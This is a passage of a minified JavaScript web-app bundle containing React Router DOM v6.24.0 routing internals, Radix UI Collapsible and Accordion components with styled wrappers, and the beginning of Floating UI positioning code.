 */function Ju(){return Ju=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ju.apply(this,arguments)}const jc=h.createContext(null),gw=h.createContext(null),Lo=h.createContext(null),Rp=h.createContext(null),lr=h.createContext({outlet:null,matches:[],isDataRoute:!1}),yw=h.createContext(null);function r4(e,t){let{relative:n}=t===void 0?{}:t;Us()||he(!1);let{basename:r,navigator:o}=h.useContext(Lo),{hash:i,pathname:s,search:a}=xw(e,{relative:n}),l=s;return r!=="/"&&(l=s==="/"?r:xr([r,s])),o.createHref({pathname:l,search:a,hash:i})}function Us(){return h.useContext(Rp)!=null}function Lr(){return Us()||he(!1),h.useContext(Rp).location}function ww(e){h.useContext(Lo).static||h.useLayoutEffect(e)}function Ic(){let{isDataRoute:e}=h.useContext(lr);return e?g4():o4()}function o4(){Us()||he(!1);let e=h.useContext(jc),{basename:t,future:n,navigator:r}=h.useContext(Lo),{matches:o}=h.useContext(lr),{pathname:i}=Lr(),s=JSON.stringify(Ac(o,n.v7_relativeSplatPath)),a=h.useRef(!1);return ww(()=>{a.current=!0}),h.useCallback(function(u,c){if(c===void 0&&(c={}),!a.current)return;if(typeof u=="number"){r.go(u);return}let f=Mc(u,JSON.parse(s),i,c.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:xr([t,f.pathname])),(c.replace?r.replace:r.push)(f,c.state,c)},[t,r,s,i,e])}const i4=h.createContext(null);function s4(e){let t=h.useContext(lr).outlet;return t&&h.createElement(i4.Provider,{value:e},t)}function vT(){let{matches:e}=h.useContext(lr),t=e[e.length-1];return t?t.params:{}}function xw(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=h.useContext(Lo),{matches:o}=h.useContext(lr),{pathname:i}=Lr(),s=JSON.stringify(Ac(o,r.v7_relativeSplatPath));return h.useMemo(()=>Mc(e,JSON.parse(s),i,n==="path"),[e,s,i,n])}function a4(e,t,n,r){Us()||he(!1);let{navigator:o}=h.useContext(Lo),{matches:i}=h.useContext(lr),s=i[i.length-1],a=s?s.params:{};s&&s.pathname;let l=s?s.pathnameBase:"/";s&&s.route;let u=Lr(),c;c=u;let f=c.pathname||"/",d=f;if(l!=="/"){let g=l.replace(/^\//,"").split("/");d="/"+f.replace(/^\//,"").split("/").slice(g.length).join("/")}let m=zo(e,{pathname:d});return f4(m&&m.map(g=>Object.assign({},g,{params:Object.assign({},a,g.params),pathname:xr([l,o.encodeLocation?o.encodeLocation(g.pathname).pathname:g.pathname]),pathnameBase:g.pathnameBase==="/"?l:xr([l,o.encodeLocation?o.encodeLocation(g.pathnameBase).pathname:g.pathnameBase])})),i,n,r)}function l4(){let e=v4(),t=Dc(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,o={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return h.createElement(h.Fragment,null,h.createElement("h2",null,"Unexpected Application Error!"),h.createElement("h3",{style:{fontStyle:"italic"}},t),n?h.createElement("pre",{style:o},n):null,null)}const u4=h.createElement(l4,null);class c4 extends h.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?h.createElement(lr.Provider,{value:this.props.routeContext},h.createElement(yw.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function d4(e){let{routeContext:t,match:n,children:r}=e,o=h.useContext(jc);return o&&o.static&&o.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(o.staticContext._deepestRenderedBoundaryId=n.route.id),h.createElement(lr.Provider,{value:t},r)}function f4(e,t,n,r){var o;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var i;if((i=n)!=null&&i.errors)e=n.matches;else return null}let s=e,a=(o=n)==null?void 0:o.errors;if(a!=null){let c=s.findIndex(f=>f.route.id&&(a==null?void 0:a[f.route.id])!==void 0);c>=0||he(!1),s=s.slice(0,Math.min(s.length,c+1))}let l=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let c=0;c<s.length;c++){let f=s[c];if((f.route.HydrateFallback||f.route.hydrateFallbackElement)&&(u=c),f.route.id){let{loaderData:d,errors:m}=n,w=f.route.loader&&d[f.route.id]===void 0&&(!m||m[f.route.id]===void 0);if(f.route.lazy||w){l=!0,u>=0?s=s.slice(0,u+1):s=[s[0]];break}}}return s.reduceRight((c,f,d)=>{let m,w=!1,g=null,x=null;n&&(m=a&&f.route.id?a[f.route.id]:void 0,g=f.route.errorElement||u4,l&&(u<0&&d===0?(w=!0,x=null):u===d&&(w=!0,x=f.route.hydrateFallbackElement||null)));let v=t.concat(s.slice(0,d+1)),p=()=>{let y;return m?y=g:w?y=x:f.route.Component?y=h.createElement(f.route.Component,null):f.route.element?y=f.route.element:y=c,h.createElement(d4,{match:f,routeContext:{outlet:c,matches:v,isDataRoute:n!=null},children:y})};return n&&(f.route.ErrorBoundary||f.route.errorElement||d===0)?h.createElement(c4,{location:n.location,revalidation:n.revalidation,component:g,error:m,children:p(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):p()},null)}var bw=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(bw||{}),Za=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(Za||{});function h4(e){let t=h.useContext(jc);return t||he(!1),t}function Cw(e){let t=h.useContext(gw);return t||he(!1),t}function p4(e){let t=h.useContext(lr);return t||he(!1),t}function Sw(e){let t=p4(),n=t.matches[t.matches.length-1];return n.route.id||he(!1),n.route.id}function m4(){return Cw(Za.UseNavigation).navigation}function v4(){var e;let t=h.useContext(yw),n=Cw(Za.UseRouteError),r=Sw(Za.UseRouteError);return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function g4(){let{router:e}=h4(bw.UseNavigateStable),t=Sw(Za.UseNavigateStable),n=h.useRef(!1);return ww(()=>{n.current=!0}),h.useCallback(function(o,i){i===void 0&&(i={}),n.current&&(typeof o=="number"?e.navigate(o):e.navigate(o,Ju({fromRouteId:t},i)))},[e,t])}function gT(e){let{to:t,replace:n,state:r,relative:o}=e;Us()||he(!1);let{future:i,static:s}=h.useContext(Lo),{matches:a}=h.useContext(lr),{pathname:l}=Lr(),u=Ic(),c=Mc(t,Ac(a,i.v7_relativeSplatPath),l,o==="path"),f=JSON.stringify(c);return h.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:o}),[u,f,o,n,r]),null}function Ew(e){return s4(e.context)}function y4(e){let{basename:t="/",children:n=null,location:r,navigationType:o=ot.Pop,navigator:i,static:s=!1,future:a}=e;Us()&&he(!1);let l=t.replace(/^\/*/,"/"),u=h.useMemo(()=>({basename:l,navigator:i,static:s,future:Ju({v7_relativeSplatPath:!1},a)}),[l,a,i,s]);typeof r=="string"&&(r=Or(r));let{pathname:c="/",search:f="",hash:d="",state:m=null,key:w="default"}=r,g=h.useMemo(()=>{let x=$s(c,l);return x==null?null:{location:{pathname:x,search:f,hash:d,state:m,key:w},navigationType:o}},[l,c,f,d,m,w,o]);return g==null?null:h.createElement(Lo.Provider,{value:u},h.createElement(Rp.Provider,{children:n,value:g}))}new Promise(()=>{});function _w(e){let t={hasErrorBoundary:e.ErrorBoundary!=null||e.errorElement!=null};return e.Component&&Object.assign(t,{element:h.createElement(e.Component),Component:void 0}),e.HydrateFallback&&Object.assign(t,{hydrateFallbackElement:h.createElement(e.HydrateFallback),HydrateFallback:void 0}),e.ErrorBoundary&&Object.assign(t,{errorElement:h.createElement(e.ErrorBoundary),ErrorBoundary:void 0}),t}/**
 * React Router DOM v6.24.0
 *
 * Copyright (c) Remix Software Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE.md file in the root directory of this source tree.
 *
 * @license MIT
 */function Ps(){return Ps=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ps.apply(this,arguments)}function w4(e,t){if(e==null)return{};var n={},r=Object.keys(e),o,i;for(i=0;i<r.length;i++)o=r[i],!(t.indexOf(o)>=0)&&(n[o]=e[o]);return n}function x4(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function b4(e,t){return e.button===0&&(!t||t==="_self")&&!x4(e)}function $f(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(o=>[n,o]):[[n,r]])},[]))}function C4(e,t){let n=$f(e);return t&&t.forEach((r,o)=>{n.has(o)||t.getAll(o).forEach(i=>{n.append(o,i)})}),n}const S4=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","unstable_viewTransition"],E4="6";try{window.__reactRouterVersion=E4}catch{}function _4(e,t){return dw({basename:void 0,future:Ps({},void 0,{v7_prependBasename:!0}),history:l5({window:void 0}),hydrationData:kw(),routes:e,mapRouteProperties:_w,unstable_dataStrategy:void 0,unstable_patchRoutesOnMiss:void 0,window:void 0}).initialize()}function k4(e,t){return dw({basename:void 0,future:Ps({},void 0,{v7_prependBasename:!0}),history:u5({window:void 0}),hydrationData:kw(),routes:e,mapRouteProperties:_w,unstable_dataStrategy:void 0,unstable_patchRoutesOnMiss:void 0,window:void 0}).initialize()}function kw(){var e;let t=(e=window)==null?void 0:e.__staticRouterHydrationData;return t&&t.errors&&(t=Ps({},t,{errors:R4(t.errors)})),t}function R4(e){if(!e)return null;let t=Object.entries(e),n={};for(let[r,o]of t)if(o&&o.__type==="RouteErrorResponse")n[r]=new Ep(o.status,o.statusText,o.data,o.internal===!0);else if(o&&o.__type==="Error"){if(o.__subType){let i=window[o.__subType];if(typeof i=="function")try{let s=new i(o.message);s.stack="",n[r]=s}catch{}}if(n[r]==null){let i=new Error(o.message);i.stack="",n[r]=i}}else n[r]=o;return n}const P4=h.createContext({isTransitioning:!1}),T4=h.createContext(new Map),N4="startTransition",Wv=Bg[N4],O4="flushSync",Zv=VC[O4];function L4(e){Wv?Wv(e):e()}function aa(e){Zv?Zv(e):e()}class A4{constructor(){this.status="pending",this.promise=new Promise((t,n)=>{this.resolve=r=>{this.status==="pending"&&(this.status="resolved",t(r))},this.reject=r=>{this.status==="pending"&&(this.status="rejected",n(r))}})}}function M4(e){let{fallbackElement:t,router:n,future:r}=e,[o,i]=h.useState(n.state),[s,a]=h.useState(),[l,u]=h.useState({isTransitioning:!1}),[c,f]=h.useState(),[d,m]=h.useState(),[w,g]=h.useState(),x=h.useRef(new Map),{v7_startTransition:v}=r||{},p=h.useCallback(P=>{v?L4(P):P()},[v]),y=h.useCallback((P,T)=>{let{deletedFetchers:O,unstable_flushSync:M,unstable_viewTransitionOpts:$}=T;O.forEach(ne=>x.current.delete(ne)),P.fetchers.forEach((ne,re)=>{ne.data!==void 0&&x.current.set(re,ne.data)});let B=n.window==null||n.window.document==null||typeof n.window.document.startViewTransition!="function";if(!$||B){M?aa(()=>i(P)):p(()=>i(P));return}if(M){aa(()=>{d&&(c&&c.resolve(),d.skipTransition()),u({isTransitioning:!0,flushSync:!0,currentLocation:$.currentLocation,nextLocation:$.nextLocation})});let ne=n.window.document.startViewTransition(()=>{aa(()=>i(P))});ne.finished.finally(()=>{aa(()=>{f(void 0),m(void 0),a(void 0),u({isTransitioning:!1})})}),aa(()=>m(ne));return}d?(c&&c.resolve(),d.skipTransition(),g({state:P,currentLocation:$.currentLocation,nextLocation:$.nextLocation})):(a(P),u({isTransitioning:!0,flushSync:!1,currentLocation:$.currentLocation,nextLocation:$.nextLocation}))},[n.window,d,c,x,p]);h.useLayoutEffect(()=>n.subscribe(y),[n,y]),h.useEffect(()=>{l.isTransitioning&&!l.flushSync&&f(new A4)},[l]),h.useEffect(()=>{if(c&&s&&n.window){let P=s,T=c.promise,O=n.window.document.startViewTransition(async()=>{p(()=>i(P)),await T});O.finished.finally(()=>{f(void 0),m(void 0),a(void 0),u({isTransitioning:!1})}),m(O)}},[p,s,c,n.window]),h.useEffect(()=>{c&&s&&o.location.key===s.location.key&&c.resolve()},[c,d,o.location,s]),h.useEffect(()=>{!l.isTransitioning&&w&&(a(w.state),u({isTransitioning:!0,flushSync:!1,currentLocation:w.currentLocation,nextLocation:w.nextLocation}),g(void 0))},[l.isTransitioning,w]),h.useEffect(()=>{},[]);let C=h.useMemo(()=>({createHref:n.createHref,encodeLocation:n.encodeLocation,go:P=>n.navigate(P),push:(P,T,O)=>n.navigate(P,{state:T,preventScrollReset:O==null?void 0:O.preventScrollReset}),replace:(P,T,O)=>n.navigate(P,{replace:!0,state:T,preventScrollReset:O==null?void 0:O.preventScrollReset})}),[n]),_=n.basename||"/",b=h.useMemo(()=>({router:n,navigator:C,static:!1,basename:_}),[n,C,_]);return h.createElement(h.Fragment,null,h.createElement(jc.Provider,{value:b},h.createElement(gw.Provider,{value:o},h.createElement(T4.Provider,{value:x.current},h.createElement(P4.Provider,{value:l},h.createElement(y4,{basename:_,location:o.location,navigationType:o.historyAction,navigator:C,future:{v7_relativeSplatPath:n.future.v7_relativeSplatPath}},o.initialized||n.future.v7_partialHydration?h.createElement(D4,{routes:n.routes,future:n.future,state:o}):t))))),null)}function D4(e){let{routes:t,future:n,state:r}=e;return a4(t,void 0,r,n)}const j4=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",I4=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,Rw=h.forwardRef(function(t,n){let{onClick:r,relative:o,reloadDocument:i,replace:s,state:a,target:l,to:u,preventScrollReset:c,unstable_viewTransition:f}=t,d=w4(t,S4),{basename:m}=h.useContext(Lo),w,g=!1;if(typeof u=="string"&&I4.test(u)&&(w=u,j4))try{let y=new URL(window.location.href),C=u.startsWith("//")?new URL(y.protocol+u):new URL(u),_=$s(C.pathname,m);C.origin===y.origin&&_!=null?u=_+C.search+C.hash:g=!0}catch{}let x=r4(u,{relative:o}),v=z4(u,{replace:s,state:a,target:l,preventScrollReset:c,relative:o,unstable_viewTransition:f});function p(y){r&&r(y),y.defaultPrevented||v(y)}return h.createElement("a",Ps({},d,{href:w||x,onClick:g||i?r:p,ref:n,target:l}))});var Qv;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Qv||(Qv={}));var Kv;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Kv||(Kv={}));function z4(e,t){let{target:n,replace:r,state:o,preventScrollReset:i,relative:s,unstable_viewTransition:a}=t===void 0?{}:t,l=Ic(),u=Lr(),c=xw(e,{relative:s});return h.useCallback(f=>{if(b4(f,n)){f.preventDefault();let d=r!==void 0?r:bo(u)===bo(c);l(e,{replace:d,state:o,preventScrollReset:i,relative:s,unstable_viewTransition:a})}},[u,l,c,r,o,n,e,i,s,a])}function yT(e){let t=h.useRef($f(e)),n=h.useRef(!1),r=Lr(),o=h.useMemo(()=>C4(r.search,n.current?null:t.current),[r.search]),i=Ic(),s=h.useCallback((a,l)=>{const u=$f(typeof a=="function"?a(o):a);n.current=!0,i("?"+u,l)},[i,o]);return[o,s]}function F4(e){const t=e+"CollectionProvider",[n,r]=hi(t),[o,i]=n(t,{collectionRef:{current:null},itemMap:new Map}),s=m=>{const{scope:w,children:g}=m,x=j.useRef(null),v=j.useRef(new Map).current;return E.jsx(o,{scope:w,itemMap:v,collectionRef:x,children:g})};s.displayName=t;const a=e+"CollectionSlot",l=j.forwardRef((m,w)=>{const{scope:g,children:x}=m,v=i(a,g),p=tt(w,v.collectionRef);return E.jsx(_s,{ref:p,children:x})});l.displayName=a;const u=e+"CollectionItemSlot",c="data-radix-collection-item",f=j.forwardRef((m,w)=>{const{scope:g,children:x,...v}=m,p=j.useRef(null),y=tt(w,p),C=i(u,g);return j.useEffect(()=>(C.itemMap.set(p,{ref:p,...v}),()=>void C.itemMap.delete(p))),E.jsx(_s,{[c]:"",ref:y,children:x})});f.displayName=u;function d(m){const w=i(e+"CollectionConsumer",m);return j.useCallback(()=>{const x=w.collectionRef.current;if(!x)return[];const v=Array.from(x.querySelectorAll(`[${c}]`));return Array.from(w.itemMap.values()).sort((C,_)=>v.indexOf(C.ref.current)-v.indexOf(_.ref.current))},[w.collectionRef,w.itemMap])}return[{Provider:s,Slot:l,ItemSlot:f},d,r]}var Pp="Collapsible",[$4,Pw]=hi(Pp),[U4,Tp]=$4(Pp),Tw=h.forwardRef((e,t)=>{const{__scopeCollapsible:n,open:r,defaultOpen:o,disabled:i,onOpenChange:s,...a}=e,[l=!1,u]=Sl({prop:r,defaultProp:o,onChange:s});return E.jsx(U4,{scope:n,disabled:i,contentId:Ki(),open:l,onOpenToggle:h.useCallback(()=>u(c=>!c),[u]),children:E.jsx($e.div,{"data-state":Op(l),"data-disabled":i?"":void 0,...a,ref:t})})});Tw.displayName=Pp;var Nw="CollapsibleTrigger",Ow=h.forwardRef((e,t)=>{const{__scopeCollapsible:n,...r}=e,o=Tp(Nw,n);return E.jsx($e.button,{type:"button","aria-controls":o.contentId,"aria-expanded":o.open||!1,"data-state":Op(o.open),"data-disabled":o.disabled?"":void 0,disabled:o.disabled,...r,ref:t,onClick:We(e.onClick,o.onOpenToggle)})});Ow.displayName=Nw;var Np="CollapsibleContent",Lw=h.forwardRef((e,t)=>{const{forceMount:n,...r}=e,o=Tp(Np,e.__scopeCollapsible);return E.jsx(sr,{present:n||o.open,children:({present:i})=>E.jsx(B4,{...r,ref:t,present:i})})});Lw.displayName=Np;var B4=h.forwardRef((e,t)=>{const{__scopeCollapsible:n,present:r,children:o,...i}=e,s=Tp(Np,n),[a,l]=h.useState(r),u=h.useRef(null),c=tt(t,u),f=h.useRef(0),d=f.current,m=h.useRef(0),w=m.current,g=s.open||a,x=h.useRef(g),v=h.useRef();return h.useEffect(()=>{const p=requestAnimationFrame(()=>x.current=!1);return()=>cancelAnimationFrame(p)},[]),kr(()=>{const p=u.current;if(p){v.current=v.current||{transitionDuration:p.style.transitionDuration,animationName:p.style.animationName},p.style.transitionDuration="0s",p.style.animationName="none";const y=p.getBoundingClientRect();f.current=y.height,m.current=y.width,x.current||(p.style.transitionDuration=v.current.transitionDuration,p.style.animationName=v.current.animationName),l(r)}},[s.open,r]),E.jsx($e.div,{"data-state":Op(s.open),"data-disabled":s.disabled?"":void 0,id:s.contentId,hidden:!g,...i,ref:c,style:{"--radix-collapsible-content-height":d?`${d}px`:void 0,"--radix-collapsible-content-width":w?`${w}px`:void 0,...e.style},children:g&&o})});function Op(e){return e?"open":"closed"}var V4=Tw,H4=Ow,W4=Lw,Ar="Accordion",Z4=["Home","End","ArrowDown","ArrowUp","ArrowLeft","ArrowRight"],[Lp,Q4,K4]=F4(Ar),[zc,wT]=hi(Ar,[K4,Pw]),Ap=Pw(),Aw=j.forwardRef((e,t)=>{const{type:n,...r}=e,o=r,i=r;return E.jsx(Lp.Provider,{scope:e.__scopeAccordion,children:n==="multiple"?E.jsx(X4,{...i,ref:t}):E.jsx(q4,{...o,ref:t})})});Aw.displayName=Ar;var[Mw,Y4]=zc(Ar),[Dw,G4]=zc(Ar,{collapsible:!1}),q4=j.forwardRef((e,t)=>{const{value:n,defaultValue:r,onValueChange:o=()=>{},collapsible:i=!1,...s}=e,[a,l]=Sl({prop:n,defaultProp:r,onChange:o});return E.jsx(Mw,{scope:e.__scopeAccordion,value:a?[a]:[],onItemOpen:l,onItemClose:j.useCallback(()=>i&&l(""),[i,l]),children:E.jsx(Dw,{scope:e.__scopeAccordion,collapsible:i,children:E.jsx(jw,{...s,ref:t})})})}),X4=j.forwardRef((e,t)=>{const{value:n,defaultValue:r,onValueChange:o=()=>{},...i}=e,[s=[],a]=Sl({prop:n,defaultProp:r,onChange:o}),l=j.useCallback(c=>a((f=[])=>[...f,c]),[a]),u=j.useCallback(c=>a((f=[])=>f.filter(d=>d!==c)),[a]);return E.jsx(Mw,{scope:e.__scopeAccordion,value:s,onItemOpen:l,onItemClose:u,children:E.jsx(Dw,{scope:e.__scopeAccordion,collapsible:!0,children:E.jsx(jw,{...i,ref:t})})})}),[J4,Fc]=zc(Ar),jw=j.forwardRef((e,t)=>{const{__scopeAccordion:n,disabled:r,dir:o,orientation:i="vertical",...s}=e,a=j.useRef(null),l=tt(a,t),u=Q4(n),f=B1(o)==="ltr",d=We(e.onKeyDown,m=>{var T;if(!Z4.includes(m.key))return;const w=m.target,g=u().filter(O=>{var M;return!((M=O.ref.current)!=null&&M.disabled)}),x=g.findIndex(O=>O.ref.current===w),v=g.length;if(x===-1)return;m.preventDefault();let p=x;const y=0,C=v-1,_=()=>{p=x+1,p>C&&(p=y)},b=()=>{p=x-1,p<y&&(p=C)};switch(m.key){case"Home":p=y;break;case"End":p=C;break;case"ArrowRight":i==="horizontal"&&(f?_():b());break;case"ArrowDown":i==="vertical"&&_();break;case"ArrowLeft":i==="horizontal"&&(f?b():_());break;case"ArrowUp":i==="vertical"&&b();break}const P=p%v;(T=g[P].ref.current)==null||T.focus()});return E.jsx(J4,{scope:n,disabled:r,direction:o,orientation:i,children:E.jsx(Lp.Slot,{scope:n,children:E.jsx($e.div,{...s,"data-orientation":i,ref:l,onKeyDown:r?void 0:d})})})}),ec="AccordionItem",[ek,Mp]=zc(ec),Iw=j.forwardRef((e,t)=>{const{__scopeAccordion:n,value:r,...o}=e,i=Fc(ec,n),s=Y4(ec,n),a=Ap(n),l=Ki(),u=r&&s.value.includes(r)||!1,c=i.disabled||e.disabled;return E.jsx(ek,{scope:n,open:u,disabled:c,triggerId:l,children:E.jsx(V4,{"data-orientation":i.orientation,"data-state":Vw(u),...a,...o,ref:t,disabled:c,open:u,onOpenChange:f=>{f?s.onItemOpen(r):s.onItemClose(r)}})})});Iw.displayName=ec;var zw="AccordionHeader",Fw=j.forwardRef((e,t)=>{const{__scopeAccordion:n,...r}=e,o=Fc(Ar,n),i=Mp(zw,n);return E.jsx($e.h3,{"data-orientation":o.orientation,"data-state":Vw(i.open),"data-disabled":i.disabled?"":void 0,...r,ref:t})});Fw.displayName=zw;var Uf="AccordionTrigger",$w=j.forwardRef((e,t)=>{const{__scopeAccordion:n,...r}=e,o=Fc(Ar,n),i=Mp(Uf,n),s=G4(Uf,n),a=Ap(n);return E.jsx(Lp.ItemSlot,{scope:n,children:E.jsx(H4,{"aria-disabled":i.open&&!s.collapsible||void 0,"data-orientation":o.orientation,id:i.triggerId,...a,...r,ref:t})})});$w.displayName=Uf;var Uw="AccordionContent",Bw=j.forwardRef((e,t)=>{const{__scopeAccordion:n,...r}=e,o=Fc(Ar,n),i=Mp(Uw,n),s=Ap(n);return E.jsx(W4,{role:"region","aria-labelledby":i.triggerId,"data-orientation":o.orientation,...s,...r,ref:t,style:{"--radix-accordion-content-height":"var(--radix-collapsible-content-height)","--radix-accordion-content-width":"var(--radix-collapsible-content-width)",...e.style}})});Bw.displayName=Uw;function Vw(e){return e?"open":"closed"}var tk=Aw,nk=Iw,rk=Fw,Hw=$w,Ww=Bw;const ok=tk,Zw=h.forwardRef(({className:e,...t},n)=>E.jsx(nk,{ref:n,className:Ze("border-b",e),...t}));Zw.displayName="AccordionItem";const Qw=h.forwardRef(({className:e,children:t,...n},r)=>E.jsx(rk,{className:"flex",children:E.jsxs(Hw,{ref:r,className:Ze("flex flex-1 items-center justify-between py-4 text-sm font-medium transition-all [&[data-state=open]>svg]:rotate-180",e),...n,children:[t,E.jsx(__,{className:"h-4 w-4 shrink-0 text-muted-foreground transition-transform duration-200"})]})}));Qw.displayName=Hw.displayName;const Kw=h.forwardRef(({className:e,children:t,...n},r)=>E.jsx(Ww,{ref:r,className:"overflow-hidden text-sm data-[state=closed]:animate-accordion-up data-[state=open]:animate-accordion-down",...n,children:E.jsx("div",{className:Ze("pb-4 pt-0",e),children:t})}));Kw.displayName=Ww.displayName;var ik="Separator",Yv="horizontal",sk=["horizontal","vertical"],Yw=h.forwardRef((e,t)=>{const{decorative:n,orientation:r=Yv,...o}=e,i=ak(r)?r:Yv,a=n?{role:"none"}:{"aria-orientation":i==="vertical"?i:void 0,role:"separator"};return E.jsx($e.div,{"data-orientation":i,...a,...o,ref:t})});Yw.displayName=ik;function ak(e){return sk.includes(e)}var Gw=Yw;const Bf=h.forwardRef(({className:e,orientation:t="horizontal",decorative:n=!0,...r},o)=>E.jsx(Gw,{ref:o,decorative:n,orientation:t,className:Ze("shrink-0 bg-border",t==="horizontal"?"h-[1px] w-full":"h-full w-[1px]",e),...r}));Bf.displayName=Gw.displayName;const lk=["top","right","bottom","left"],Xn=Math.min,Xt=Math.max,tc=Math.round,tu=Math.floor,Co=e=>({x:e,y:e}),uk={left:"right",right:"left",bottom:"top",top:"bottom"},ck={start:"end",end:"start"};function Vf(e,t,n){return Xt(e,Xn(t,n))}function Rr(e,t){return typeof e=="function"?e(t):e}function Pr(e){return e.split("-")[0]}function Bs(e){return e.split("-")[1]}function Dp(e){return e==="x"?"y":"x"}function jp(e){return e==="y"?"height":"width"}function So(e){return["top","bottom"].includes(Pr(e))?"y":"x"}function Ip(e){return Dp(So(e))}function dk(e,t,n){n===void 0&&(n=!1);const r=Bs(e),o=Ip(e),i=jp(o);let s=o==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return t.reference[i]>t.floating[i]&&(s=nc(s)),[s,nc(s)]}function fk(e){const t=nc(e);return[Hf(e),t,Hf(t)]}function Hf(e){return e.replace(/start|end/g,t=>ck[t])}function hk(e,t,n){const r=["left","right"],o=["right","left"],i=["top","bottom"],s=["bottom","top"];switch(e){case"top":case"bottom":return n?t?o:r:t?r:o;case"left":case"right":return t?i:s;default:return[]}}function pk(e,t,n,r){const o=Bs(e);let i=hk(Pr(e),n==="start",r);return o&&(i=i.map(s=>s+"-"+o),t&&(i=i.concat(i.map(Hf)))),i}function nc(e){return e.replace(/left|right|bottom|top/g,t=>uk[t])}function mk(e){return{top:0,right:0,bottom:0,left:0,...e}}function qw(e){return typeof e!="number"?mk(e):{top:e,right:e,bottom:e,left:e}}function rc(e){const{x:t,y:n,width:r,height:o}=e;return{width:r,height:o,top:n,left:t,right:t+r,bottom:n+o,x:t,y:n}}function Gv(e,t,n){let{reference:r,floating:o}=e;const i=So(t),s=Ip(t),a=jp(s),l=Pr(t),u=i==="y",c=r.x+r.width/2-o.width/2,f=r.y+r.height/2-o.height/2,d=r[a]/2-o[a]/2;let m;switch(l){case"top":m={x:c,y:r.y-o.height};break;case"bottom":m={x:c,y:r.y+r.height};break;case"right":m={x:r.x+r.width,y:f};break;case"left":m={x:r.x-o.width,y:f};break;default:m={x:r.x,y:r.y}}switch(Bs(t)){case"start":m[s]-=d*(n&&u?-1:1);break;case"end":m[s]+=d*(n&&u?-1:1);break}return m}const vk=async(e,t,n)=>{const{placement:r="bottom",strategy:o="absolute",middleware:i=[],platform:s}=n,a=i.filter(Boolean),l=await(s.isRTL==null?void 0:s.isRTL(t));let u=await s.getElementRects({reference:e,floating:t,strategy:o}),{x:c,y:f}=Gv(u,r,l),d=r,m={},w=0;for(let g=0;g<a.length;g++){const{name:x,fn:v}=a[g],{x:p,y,data:C,reset:_}=await v({x:c,y:f,initialPlacement:r,placement:d,strategy:o,middlewareData:m,rects:u,platform:s,elements:{reference:e,floating:t}});c=p??c,f=y??f,m={...m,[x]:{...m[x],...C}},_&&w<=50&&(w++,typeof _=="object"&&(_.placement&&(d=_.placement),_.rects&&(u=_.rects===!0?await s.getElementRects({reference:e,floating:t,strategy:o}):_.rects),{x:c,y:f}=Gv(u,d,l)),g=-1)}return{x:c,y:f,placement:d,strategy:o,middlewareData:m}};async function Qa(e,t){var n;t===void 0&&(t={});const{x:r,y:o,platform:i,rects:s,elements:a,strategy:l}=e,{boundary:u="clippingAncestors",rootBoundary:c="viewport",elementContext:f="floating",altBoundary:d=!1,padding:m=0}=Rr(t,e),w=qw(m),x=a[d?f==="floating"?"reference":"floating":f],v=rc(await i.getClippingRect({element:(n=await(i.isElement==null?void 0:i.isElement(x)))==null||n?x:x.contextElement||await(i.getDocumentElement==null?void 0:i.getDocumentElement(a.floating)),boundary:u,rootBoundary:c,strategy:l})),p=f==="floating"?{x:r,y:o,width:s.floating.width,height:s.floating.height}:s.reference,y=await(i.getOffsetParent==null?void 0:i.getOffsetParent(a.floating)),C=await(i.isElement==null?void 0:i.isElement(y))?await(i.getScale==null?void 0:i.getScale(y))||{x:1,y:1}:{x:1,y:1},_=rc(i.convertOffsetParentRelativeRectToViewportRelativeRect?await i.convertOffsetParentRelativeRectToViewportRelativeRect({elements:a,rect:p,offsetParent:y,strategy:l}):p);return{top:(v.top-_.top+w.top)/C.y,bottom:(_.bottom-v.bottom+w.bottom)/C.y,left:(v.left-_.left+w.left)/C.x,right:(_.right-v.right+w.right)/C.x}}const gk=e=>({name:"arrow",options:e,async 